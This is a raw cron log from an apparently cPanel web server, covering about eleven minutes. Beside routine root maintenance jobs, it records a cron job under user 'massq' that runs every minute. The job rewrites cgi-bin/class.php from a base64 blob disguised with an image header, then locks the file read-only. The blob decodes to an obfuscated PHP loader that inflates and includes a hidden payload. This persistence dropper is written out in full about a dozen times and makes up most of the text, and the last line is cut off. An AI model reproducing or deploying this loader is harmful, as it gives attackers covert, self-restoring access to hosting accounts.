Sep 10 16:10:01 server CROND[18292]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 16:10:01 server CROND[18293]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:10:01 server CROND[18296]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:10:01 server CROND[18297]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 16:10:01 server CROND[18299]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:10:01 server CROND[18298]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:10:01 server CROND[18300]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:11:01 server CROND[19211]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:11:01 server CROND[19212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:11:01 server CROND[19213]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:12:01 server CROND[19577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:12:01 server CROND[19578]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:12:01 server CROND[19579]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 16:12:01 server CROND[19580]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:13:01 server CROND[19962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:13:01 server CROND[19963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:13:01 server CROND[19964]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:14:01 server CROND[20434]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:14:01 server CROND[20436]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:14:01 server CROND[20435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:15:01 server CROND[20818]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:15:01 server CROND[20819]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:15:01 server CROND[20820]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 16:15:01 server CROND[20826]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:15:01 server CROND[20829]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 10 16:15:01 server CROND[20825]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:15:01 server CROND[20830]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 16:15:01 server CROND[20828]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 16:15:01 server CROND[20831]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:16:01 server CROND[21655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:16:01 server CROND[21654]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:16:01 server CROND[21656]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:17:01 server CROND[22017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:17:01 server CROND[22019]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:17:01 server CROND[22020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:18:01 server CROND[22390]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:18:01 server CROND[22391]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:18:01 server CROND[22392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:19:01 server CROND[22958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:19:01 server CROND[22960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:19:01 server CROND[22961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:20:01 server CROND[23463]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 16:20:01 server CROND[23465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 16:20:01 server CROND[23467]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 16:20:01 server CROND[23470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 16:20:01 server CROND[23468]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 10 16:20:01 server CROND[23474]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 10 16:20:01 server CROND[23471]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 16:20:01 server CROND[23473]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 10 16:20:01 server CROND[23472]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 16:21:01 server CROND[24297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 